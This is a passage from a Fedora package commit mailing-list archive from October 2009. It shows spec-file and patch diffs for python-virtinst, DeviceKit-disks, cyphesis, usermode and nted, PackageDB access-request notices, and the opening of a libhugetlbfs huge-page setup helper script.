Modified Files:
	python-virtinst.spec 
Added Files:
	virtinst-0.400.3-f12-distro.patch 
	virtinst-0.400.3-preview-detection.patch 
Log Message:
Fix detection of fedora preview trees (bz 499718)
Add F12 to os dictionary


virtinst-0.400.3-f12-distro.patch:
 osdict.py |    7 +++++++
 1 file changed, 7 insertions(+)

--- NEW FILE virtinst-0.400.3-f12-distro.patch ---
diff -rup old/virtinst/osdict.py virtinst-0.400.3/virtinst/osdict.py
--- old/virtinst/osdict.py	2009-10-05 14:04:44.757945000 -0400
+++ virtinst-0.400.3/virtinst/osdict.py	2009-10-05 14:05:00.137730000 -0400
@@ -107,6 +107,13 @@ OS_TYPES = {\
                         "input" : { "type" : [ (["all"], "tablet") ],
                                     "bus"  : [ (["all"], "usb"), ] },
                      }},
+        "fedora12": { "label": "Fedora 11", "distro": "fedora",
+                      "devices" : {
+                        "disk" : { "bus"   : [ (["kvm"], "virtio") ] },
+                        "net"  : { "model" : [ (["kvm"], "virtio") ] },
+                        "input" : { "type" : [ (["all"], "tablet") ],
+                                    "bus"  : [ (["all"], "usb"), ] },
+                     }},
         "sles10": { "label": "Suse Linux Enterprise Server",
                     "distro": "suse" },
         "debianetch": { "label": "Debian Etch", "distro": "debian" },

virtinst-0.400.3-preview-detection.patch:
 tests/urltest.py     |    5 +++++
 virtinst/OSDistro.py |    2 +-
 2 files changed, 6 insertions(+), 1 deletion(-)

--- NEW FILE virtinst-0.400.3-preview-detection.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1241725806 14400
# Node ID 9768e52d4d624f83853f7f23f85402c8a078eb6f
# Parent  94be2c80832ae1019cc1b3099636a5cb41dd6094
Fix os_variant autodetection for F11-{alpha/beta/preview}

Prevents URL installs for the stated releases, unless an --os-variant is
manually specified.

diff -r 94be2c80832a -r 9768e52d4d62 tests/urltest.py
--- a/tests/urltest.py	Thu May 07 13:47:49 2009 -0400
+++ b/tests/urltest.py	Thu May 07 15:50:06 2009 -0400
@@ -108,6 +108,11 @@
         'x86_64': FEDORA_BASEURL % ("10", "x86_64"),
         'distro': ("linux", "fedora10")
     },
+    "fedora11test" : {
+        'i386'  : FEDORA_BASEURL % ("test/11-Preview", "i386"),
+        'x86_64': FEDORA_BASEURL % ("test/11-Preview", "x86_64"),
+        'distro': ("linux", "fedora11")
+    },
     "fedora-rawhide" : {
         'i386'  : FEDORA_RAWHIDE_BASEURL % ("i386"),
         'x86_64': FEDORA_RAWHIDE_BASEURL % ("x86_64"),
diff -r 94be2c80832a -r 9768e52d4d62 virtinst/OSDistro.py
--- a/virtinst/OSDistro.py	Thu May 07 13:47:49 2009 -0400
+++ b/virtinst/OSDistro.py	Thu May 07 15:50:06 2009 -0400
@@ -429,7 +429,7 @@
                 if ver == "development":
                     self.os_variant = self._latestFedoraVariant()
                 elif ver:
-                    self.os_variant = "fedora" + str(ver)
+                    self.os_variant = "fedora" + (str(ver).split("-"))[0]
 
             return ret
         else:


Index: python-virtinst.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-virtinst/F-10/python-virtinst.spec,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- python-virtinst.spec	9 Apr 2009 15:45:17 -0000	1.55
+++ python-virtinst.spec	5 Oct 2009 18:06:08 -0000	1.56
@@ -11,13 +11,17 @@
 Summary: Python modules and utilities for installing virtual machines
 Name: python-%{appname}
 Version: 0.400.3
-Release: 3%{_extra_release}
+Release: 4%{_extra_release}
 Source0: http://virt-manager.org/download/sources/%{appname}/%{appname}-%{version}.tar.gz
 Patch1: %{appname}-%{version}-fix-virtimage-scratch.patch
 Patch2: %{appname}-%{version}-hostdev-libvirt-calls.patch
 Patch3: %{appname}-%{version}-spanish-trans.patch
 Patch4: %{appname}-%{version}-fix-floppy-dev.patch
 Patch5: %{appname}-%{version}-updated-trans.patch
+# Fix detection of fedora preview trees (bz 499718)
+Patch6: %{appname}-%{version}-preview-detection.patch
+# Add F12 to os dictionary
+Patch7: %{appname}-%{version}-f12-distro.patch
 License: GPLv2+
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -48,6 +52,8 @@ and install new VMs) and virt-clone (clo
 %patch3 -p1
 %patch4 -p1
 %patch5 -p1
+%patch6 -p1
+%patch7 -p1
 
 %build
 python setup.py build
@@ -81,6 +87,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/virt-convert
 
 %changelog
+* Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.400.3-4.fc10
+- Fix detection of fedora preview trees (bz 499718)
+- Add F12 to os dictionary
+
 * Thu Apr  9 2009 Cole Robinson <crobinso at redhat.com> - 0.400.3-3.fc10
 - Fix adding floppy devices (bz 493408)
 - Updated translations (bz 493944, bz 494358)



From ndim at fedoraproject.org  Mon Oct  5 18:18:23 2009
From: ndim at fedoraproject.org (Hans Ulrich Niedermann)
Date: Mon,  5 Oct 2009 18:18:23 +0000 (UTC)
Subject: rpms/nted/F-12 .cvsignore, 1.13, 1.14 nted.spec, 1.21, 1.22 sources,
	1.13, 1.14
Message-ID: <20091005181824.1CE7311C00DB@cvs1.fedora.phx.redhat.com>

Author: ndim

Update of /cvs/pkgs/rpms/nted/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15107

Modified Files:
	.cvsignore nted.spec sources 
Log Message:
* Mon Oct  5 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.6-1
- 1.8.6 release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	26 Sep 2009 16:47:46 -0000	1.13
+++ .cvsignore	5 Oct 2009 18:18:19 -0000	1.14
@@ -1 +1 @@
-nted-1.8.1.tar.gz
+nted-1.8.6.tar.gz


Index: nted.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-12/nted.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- nted.spec	26 Sep 2009 16:47:46 -0000	1.21
+++ nted.spec	5 Oct 2009 18:18:19 -0000	1.22
@@ -14,7 +14,7 @@
 
 
 Name:           nted
-Version:        1.8.1
+Version:        1.8.6
 Release:        1%{?dist}
 Summary:        Musical score editor
 Summary(de):    Partitureditor
@@ -125,6 +125,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct  5 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.6-1
+- 1.8.6 release
+
 * Sat Sep 26 2009 Hans Ulrich Niedermann <hun at n-dimensional.de> - 1.8.1-1
 - update to upstream's nted-1.8.1 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nted/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	26 Sep 2009 16:47:46 -0000	1.13
+++ sources	5 Oct 2009 18:18:20 -0000	1.14
@@ -1 +1 @@
-eb3fda356ddb8c3686926d201d04adc7  nted-1.8.1.tar.gz
+07eb469b1bfc19d807622ca2dc4c529c  nted-1.8.6.tar.gz



From davidz at fedoraproject.org  Mon Oct  5 18:42:20 2009
From: davidz at fedoraproject.org (David Zeuthen)
Date: Mon,  5 Oct 2009 18:42:20 +0000 (UTC)
Subject: rpms/DeviceKit-disks/devel
	0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch,
	NONE, 1.1 DeviceKit-disks.spec, 1.33, 1.34
Message-ID: <20091005184220.D19E011C00DB@cvs1.fedora.phx.redhat.com>

Author: davidz

Update of /cvs/pkgs/rpms/DeviceKit-disks/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28025

Modified Files:
	DeviceKit-disks.spec 
Added Files:
	0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch 
Log Message:
* Mon Oct 05 2009 David Zeuthen <davidz at redhat.com> - 007-2%{?dist}
- Actually inhibit the daemon (#527091)



0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch:
 devkit-disks-daemon.c |   10 ++++++++--
 devkit-disks-daemon.h |    3 +--
 2 files changed, 9 insertions(+), 4 deletions(-)

--- NEW FILE 0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch ---
>From e672ccb6917772f2e7f0f4294eb2828193eaa89f Mon Sep 17 00:00:00 2001
From: David Zeuthen <davidz at redhat.com>
Date: Mon, 5 Oct 2009 14:31:22 -0400
Subject: [PATCH] Actually inhibit the daemon when Inhibit() is called

Guess this was forgotten with the polkit-1 porting effort.
---
 src/devkit-disks-daemon.c |   10 ++++++++--
 src/devkit-disks-daemon.h |    2 +-
 2 files changed, 9 insertions(+), 3 deletions(-)

diff --git a/src/devkit-disks-daemon.c b/src/devkit-disks-daemon.c
index b8c933b..e3f5bc6 100644
--- a/src/devkit-disks-daemon.c
+++ b/src/devkit-disks-daemon.c
@@ -1288,7 +1288,13 @@ devkit_disks_daemon_local_check_auth (DevkitDisksDaemon            *daemon,
         }
         va_end (va_args);
 
-        if (action_id != NULL) {
+        if (devkit_disks_daemon_local_is_inhibited (daemon)) {
+                throw_error (data->context,
+                             DEVKIT_DISKS_ERROR_INHIBITED,
+                             "Daemon is inhibited");
+                check_auth_data_free (data);
+
+        } else if (action_id != NULL) {
                 PolkitSubject *subject;
                 PolkitDetails *details;
                 PolkitCheckAuthorizationFlags flags;
@@ -1783,7 +1789,7 @@ daemon_inhibitor_disconnected_cb (DevkitDisksInhibitor *inhibitor,
 }
 
 gboolean
-devkit_disks_daemon_local_has_inhibitors (DevkitDisksDaemon *daemon)
+devkit_disks_daemon_local_is_inhibited (DevkitDisksDaemon *daemon)
 {
         return daemon->priv->inhibitors != NULL;
 }
diff --git a/src/devkit-disks-daemon.h b/src/devkit-disks-daemon.h
index dd0a4f0..3164734 100644
--- a/src/devkit-disks-daemon.h
+++ b/src/devkit-disks-daemon.h
@@ -123,7 +123,7 @@ void               devkit_disks_daemon_local_update_spindown     (DevkitDisksDae
 
 gboolean           devkit_disks_daemon_local_has_polling_inhibitors (DevkitDisksDaemon       *daemon);
 
-gboolean           devkit_disks_daemon_local_has_inhibitors (DevkitDisksDaemon       *daemon);
+gboolean           devkit_disks_daemon_local_is_inhibited (DevkitDisksDaemon       *daemon);
 
 DevkitDisksMountMonitor *devkit_disks_daemon_local_get_mount_monitor (DevkitDisksDaemon *daemon);
 
-- 
1.6.5.rc2



Index: DeviceKit-disks.spec
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-disks/devel/DeviceKit-disks.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- DeviceKit-disks.spec	18 Sep 2009 23:55:24 -0000	1.33
+++ DeviceKit-disks.spec	5 Oct 2009 18:42:18 -0000	1.34
@@ -12,7 +12,7 @@
 Summary: Disk Management Service
 Name: DeviceKit-disks
 Version: 007
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://cgit.freedesktop.org/DeviceKit/DeviceKit-disks/
@@ -55,6 +55,8 @@ Requires: mtools
 Requires: ntfsprogs
 %endif
 
+Patch0: 0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch
+
 # for /proc/self/mountinfo, only available in 2.6.26 or higher
 Conflicts: kernel < 2.6.26
 
@@ -74,6 +76,7 @@ D-Bus interface definitions for DeviceKi
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 %configure --enable-gtk-doc
@@ -140,6 +143,9 @@ rm -rf $RPM_BUILD_ROOT
 
 # Note: please don't forget the %{?dist} in the changelog. Thanks
 %changelog
+* Mon Oct 05 2009 David Zeuthen <davidz at redhat.com> - 007-2%{?dist}
+- Actually inhibit the daemon (#527091)
+
 * Fri Sep 18 2009 David Zeuthen <davidz at redhat.com> - 007-1%{?dist}
 - Update to release 007
 



From pkgdb at fedoraproject.org  Mon Oct  5 18:43:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 18:43:17 +0000
Subject: [pkgdb] python-beaker: fschwarz has requested watchcommits
Message-ID: <20091005184317.9186D10F88F@bastion2.fedora.phx.redhat.com>

fschwarz has requested the watchcommits acl on python-beaker (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 18:43:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 18:43:18 +0000
Subject: [pkgdb] python-beaker: fschwarz has requested approveacls
Message-ID: <20091005184318.EDA9A10F8A1@bastion2.fedora.phx.redhat.com>

fschwarz has requested the approveacls acl on python-beaker (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 18:43:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 18:43:22 +0000
Subject: [pkgdb] python-beaker: fschwarz has requested commit
Message-ID: <20091005184322.931FC10F8A3@bastion2.fedora.phx.redhat.com>

fschwarz has requested the commit acl on python-beaker (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 18:43:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 18:43:25 +0000
Subject: [pkgdb] python-beaker: fschwarz has requested watchbugzilla
Message-ID: <20091005184325.BE90710F8A4@bastion2.fedora.phx.redhat.com>

fschwarz has requested the watchbugzilla acl on python-beaker (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 18:49:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 18:49:36 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005184937.32B1710F88E@bastion2.fedora.phx.redhat.com>

kylev has set the watchbugzilla acl on python-beaker (Fedora EPEL 5) to Approved for fschwarz

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 18:49:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 18:49:38 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005184938.B1C6810F895@bastion2.fedora.phx.redhat.com>

kylev has set the watchcommits acl on python-beaker (Fedora EPEL 5) to Approved for fschwarz

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 18:49:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 18:49:39 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005184939.E107410F8A3@bastion2.fedora.phx.redhat.com>

kylev has set the commit acl on python-beaker (Fedora EPEL 5) to Approved for fschwarz

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From pkgdb at fedoraproject.org  Mon Oct  5 18:49:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 18:49:40 +0000
Subject: [pkgdb] python-beaker had acl change status
Message-ID: <20091005184941.A2F3F10F871@bastion2.fedora.phx.redhat.com>

kylev has set the approveacls acl on python-beaker (Fedora EPEL 5) to Approved for fschwarz

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From davidz at fedoraproject.org  Mon Oct  5 18:50:23 2009
From: davidz at fedoraproject.org (David Zeuthen)
Date: Mon,  5 Oct 2009 18:50:23 +0000 (UTC)
Subject: rpms/DeviceKit-disks/F-12 DeviceKit-disks.spec,1.33,1.34
Message-ID: <20091005185023.06D4611C02A0@cvs1.fedora.phx.redhat.com>

Author: davidz

Update of /cvs/pkgs/rpms/DeviceKit-disks/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1548

Modified Files:
	DeviceKit-disks.spec 
Log Message:
* Mon Oct 05 2009 David Zeuthen <davidz at redhat.com> - 007-2%{?dist}
- Actually inhibit the daemon (#527091)




Index: DeviceKit-disks.spec
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-disks/F-12/DeviceKit-disks.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- DeviceKit-disks.spec	18 Sep 2009 23:55:24 -0000	1.33
+++ DeviceKit-disks.spec	5 Oct 2009 18:50:22 -0000	1.34
@@ -12,7 +12,7 @@
 Summary: Disk Management Service
 Name: DeviceKit-disks
 Version: 007
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://cgit.freedesktop.org/DeviceKit/DeviceKit-disks/
@@ -55,6 +55,8 @@ Requires: mtools
 Requires: ntfsprogs
 %endif
 
+Patch0: 0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch
+
 # for /proc/self/mountinfo, only available in 2.6.26 or higher
 Conflicts: kernel < 2.6.26
 
@@ -74,6 +76,7 @@ D-Bus interface definitions for DeviceKi
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 %configure --enable-gtk-doc
@@ -140,6 +143,9 @@ rm -rf $RPM_BUILD_ROOT
 
 # Note: please don't forget the %{?dist} in the changelog. Thanks
 %changelog
+* Mon Oct 05 2009 David Zeuthen <davidz at redhat.com> - 007-2%{?dist}
+- Actually inhibit the daemon (#527091)
+
 * Fri Sep 18 2009 David Zeuthen <davidz at redhat.com> - 007-1%{?dist}
 - Update to release 007
 



From atorkhov at fedoraproject.org  Mon Oct  5 18:52:09 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon,  5 Oct 2009 18:52:09 +0000 (UTC)
Subject: rpms/cyphesis/devel cyphesis.spec, 1.36,
	1.37 cyphesis-0.5.17-py26.patch, 1.1,
	NONE cyphesis-0.5.20-gcc44.patch, 1.1, NONE
Message-ID: <20091005185209.D3D7711C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cyphesis/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2586

Modified Files:
	cyphesis.spec 
Removed Files:
	cyphesis-0.5.17-py26.patch cyphesis-0.5.20-gcc44.patch 
Log Message:
* Mon Oct 05 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.21-1
- Update to 0.5.21



Index: cyphesis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cyphesis/devel/cyphesis.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- cyphesis.spec	24 Jul 2009 19:54:21 -0000	1.36
+++ cyphesis.spec	5 Oct 2009 18:52:09 -0000	1.37
@@ -3,8 +3,8 @@
 %define logwatch_scripts %{logwatch_root}/scripts
 
 Name:           cyphesis
-Version:        0.5.20
-Release:        2%{?dist}
+Version:        0.5.21
+Release:        1%{?dist}
 Summary:        WorldForge game server
 Group:          System Environment/Libraries
 License:        GPLv2+
@@ -16,8 +16,7 @@ Source6:        logwatch.serviceconf.cyp
 Source7:        logwatch.shared.applycyphesisdate
 Patch0:         cyphesis-0.5.19-init.patch
 Patch1:         cyphesis-0.5.11-logdir.patch
-Patch2:         cyphesis-0.5.20-gcc44.patch
-Patch5:         cyphesis-0.5.17-py26.patch
+Patch2:         cyphesis-0.5.21-gcc44.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  python-devel libgcrypt-devel pkgconfig atlascpp-devel
 BuildRequires:  varconf-devel libsigc++20-devel mercator-devel skstream-devel
@@ -54,7 +53,6 @@ Logwatch scripts for the WorldForge game
 %patch0 -p1
 %patch1 -p0
 %patch2 -p1 -b .gcc44
-%patch5 -p1 -b .py26
 
 chmod a-x rulesets/basic/mind/dictlist.py
 chmod a-x rulesets/mason/world/objects/buildings/House.py
@@ -167,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.21-1
+- Update to 0.5.21
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.5.20-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- cyphesis-0.5.17-py26.patch DELETED ---


--- cyphesis-0.5.20-gcc44.patch DELETED ---



From mitr at fedoraproject.org  Mon Oct  5 18:52:42 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Mon,  5 Oct 2009 18:52:42 +0000 (UTC)
Subject: rpms/usermode/devel .cvsignore, 1.62, 1.63 sources, 1.66,
	1.67 usermode.spec, 1.92, 1.93
Message-ID: <20091005185242.7092E11C00DB@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/usermode/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2827

Modified Files:
	.cvsignore sources usermode.spec 
Log Message:
* Mon Oct  5 2009 Miloslav Trma? <mitr at redhat.com> - 1.102-1
- Update to usermode-1.102



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/usermode/devel/.cvsignore,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- .cvsignore	15 Sep 2009 19:22:41 -0000	1.62
+++ .cvsignore	5 Oct 2009 18:52:42 -0000	1.63
@@ -1 +1 @@
-usermode-1.101.tar.bz2
+usermode-1.102.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/usermode/devel/sources,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- sources	15 Sep 2009 19:22:41 -0000	1.66
+++ sources	5 Oct 2009 18:52:42 -0000	1.67
@@ -1 +1 @@
-0f29075fc56be213496086c3fdbfa3d7  usermode-1.101.tar.bz2
+0a8437ef146b8eabbd733959c5cac851  usermode-1.102.tar.bz2


Index: usermode.spec
===================================================================
RCS file: /cvs/pkgs/rpms/usermode/devel/usermode.spec,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- usermode.spec	15 Sep 2009 19:22:41 -0000	1.92
+++ usermode.spec	5 Oct 2009 18:52:42 -0000	1.93
@@ -1,7 +1,7 @@
 Summary: Tools for certain user account management tasks
 Name: usermode
-Version: 1.101
-Release: 1
+Version: 1.102
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
 URL: https://fedorahosted.org/usermode/
@@ -47,6 +47,7 @@ make install DESTDIR=$RPM_BUILD_ROOT INS
 
 # make userformat symlink to usermount
 ln -sf usermount $RPM_BUILD_ROOT%{_bindir}/userformat
+ln -s usermount.1 $RPM_BUILD_ROOT%{_mandir}/man1/userformat.1
 
 # We set up the shutdown programs to be wrapped in this package.  Other
 # packages are on their own....
@@ -95,19 +96,25 @@ rm -rf $RPM_BUILD_ROOT
 %files gtk
 %defattr(-,root,root)
 %{_bindir}/usermount
-%{_bindir}/userformat
 %{_mandir}/man1/usermount.1*
+%{_bindir}/userformat
+%{_mandir}/man1/userformat.1*
 %{_bindir}/userinfo
 %{_mandir}/man1/userinfo.1*
 %{_bindir}/userpasswd
 %{_mandir}/man1/userpasswd.1*
 %{_bindir}/consolehelper-gtk
+%{_mandir}/man8/consolehelper-gtk.8*
 %{_bindir}/pam-panel-icon
+%{_mandir}/man1/pam-panel-icon.1*
 %{_datadir}/%{name}
 %{_datadir}/pixmaps/*
 %{_datadir}/applications/*
 
 %changelog
+* Mon Oct  5 2009 Miloslav Trma? <mitr at redhat.com> - 1.102-1
+- Update to usermode-1.102
+
 * Tue Sep 15 2009 Miloslav Trma? <mitr at redhat.com> - 1.101-1
 - Update to usermode-1.101
 



From atorkhov at fedoraproject.org  Mon Oct  5 18:54:13 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon,  5 Oct 2009 18:54:13 +0000 (UTC)
Subject: rpms/cyphesis/F-12 cyphesis.spec, 1.36,
	1.37 cyphesis-0.5.17-py26.patch, 1.1,
	NONE cyphesis-0.5.20-gcc44.patch, 1.1, NONE
Message-ID: <20091005185413.1611311C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cyphesis/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3880

Modified Files:
	cyphesis.spec 
Removed Files:
	cyphesis-0.5.17-py26.patch cyphesis-0.5.20-gcc44.patch 
Log Message:
* Mon Oct 05 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.21-1
- Update to 0.5.21



Index: cyphesis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cyphesis/F-12/cyphesis.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- cyphesis.spec	24 Jul 2009 19:54:21 -0000	1.36
+++ cyphesis.spec	5 Oct 2009 18:54:11 -0000	1.37
@@ -3,8 +3,8 @@
 %define logwatch_scripts %{logwatch_root}/scripts
 
 Name:           cyphesis
-Version:        0.5.20
-Release:        2%{?dist}
+Version:        0.5.21
+Release:        1%{?dist}
 Summary:        WorldForge game server
 Group:          System Environment/Libraries
 License:        GPLv2+
@@ -16,8 +16,7 @@ Source6:        logwatch.serviceconf.cyp
 Source7:        logwatch.shared.applycyphesisdate
 Patch0:         cyphesis-0.5.19-init.patch
 Patch1:         cyphesis-0.5.11-logdir.patch
-Patch2:         cyphesis-0.5.20-gcc44.patch
-Patch5:         cyphesis-0.5.17-py26.patch
+Patch2:         cyphesis-0.5.21-gcc44.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  python-devel libgcrypt-devel pkgconfig atlascpp-devel
 BuildRequires:  varconf-devel libsigc++20-devel mercator-devel skstream-devel
@@ -54,7 +53,6 @@ Logwatch scripts for the WorldForge game
 %patch0 -p1
 %patch1 -p0
 %patch2 -p1 -b .gcc44
-%patch5 -p1 -b .py26
 
 chmod a-x rulesets/basic/mind/dictlist.py
 chmod a-x rulesets/mason/world/objects/buildings/House.py
@@ -167,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.21-1
+- Update to 0.5.21
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.5.20-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- cyphesis-0.5.17-py26.patch DELETED ---


--- cyphesis-0.5.20-gcc44.patch DELETED ---



From davidz at fedoraproject.org  Mon Oct  5 18:55:36 2009
From: davidz at fedoraproject.org (David Zeuthen)
Date: Mon,  5 Oct 2009 18:55:36 +0000 (UTC)
Subject: rpms/DeviceKit-disks/F-12 DeviceKit-disks.spec,1.34,1.35
Message-ID: <20091005185536.1B8F311C00DB@cvs1.fedora.phx.redhat.com>

Author: davidz

Update of /cvs/pkgs/rpms/DeviceKit-disks/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4813

Modified Files:
	DeviceKit-disks.spec 
Log Message:
* Mon Oct 05 2009 David Zeuthen <davidz at redhat.com> - 007-3%{?dist}
- Rebuild




Index: DeviceKit-disks.spec
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-disks/F-12/DeviceKit-disks.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- DeviceKit-disks.spec	5 Oct 2009 18:50:22 -0000	1.34
+++ DeviceKit-disks.spec	5 Oct 2009 18:55:35 -0000	1.35
@@ -12,7 +12,7 @@
 Summary: Disk Management Service
 Name: DeviceKit-disks
 Version: 007
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://cgit.freedesktop.org/DeviceKit/DeviceKit-disks/
@@ -143,6 +143,9 @@ rm -rf $RPM_BUILD_ROOT
 
 # Note: please don't forget the %{?dist} in the changelog. Thanks
 %changelog
+* Mon Oct 05 2009 David Zeuthen <davidz at redhat.com> - 007-3%{?dist}
+- Rebuild
+
 * Mon Oct 05 2009 David Zeuthen <davidz at redhat.com> - 007-2%{?dist}
 - Actually inhibit the daemon (#527091)
 



From jwilson at fedoraproject.org  Mon Oct  5 18:56:03 2009
From: jwilson at fedoraproject.org (Jarod Wilson)
Date: Mon,  5 Oct 2009 18:56:03 +0000 (UTC)
Subject: rpms/libhugetlbfs/devel huge_page_setup_helper.py, NONE,
	1.1 libhugetlbfs-2.6-hugeadm-enhancements.patch, NONE,
	1.1 libhugetlbfs.spec, 1.31, 1.32
Message-ID: <20091005185603.9378A11C00DB@cvs1.fedora.phx.redhat.com>

Author: jwilson

Update of /cvs/pkgs/rpms/libhugetlbfs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5003

Modified Files:
	libhugetlbfs.spec 
Added Files:
	huge_page_setup_helper.py 
	libhugetlbfs-2.6-hugeadm-enhancements.patch 
Log Message:
* Fri Oct 02 2009 Jarod Wilson <jarod at redhat.com> 2.6-3
- Add hopefully-about-to-be-merged-upstream hugeadm enhancements
- Add huge pages setup helper script, using new hugeadm enhancements



--- NEW FILE huge_page_setup_helper.py ---
#!/usr/bin/python

#
# Tool to set up Linux large page support with minimal effort
#
# by Jarod Wilson <jarod at redhat.com>
# (c) Red Hat, Inc., 2009
#
# Requires hugeadm from libhugetlbfs 2.7 (or backported support)
#
import os

debug = False

# config files we need access to
sysctlConf = "/etc/sysctl.conf"
if not os.access(sysctlConf, os.W_OK):
    print "Cannot access %s" % sysctlConf
    if debug == False:
        os._exit(1)
limitsConf = "/etc/security/limits.d/hugepages.conf"
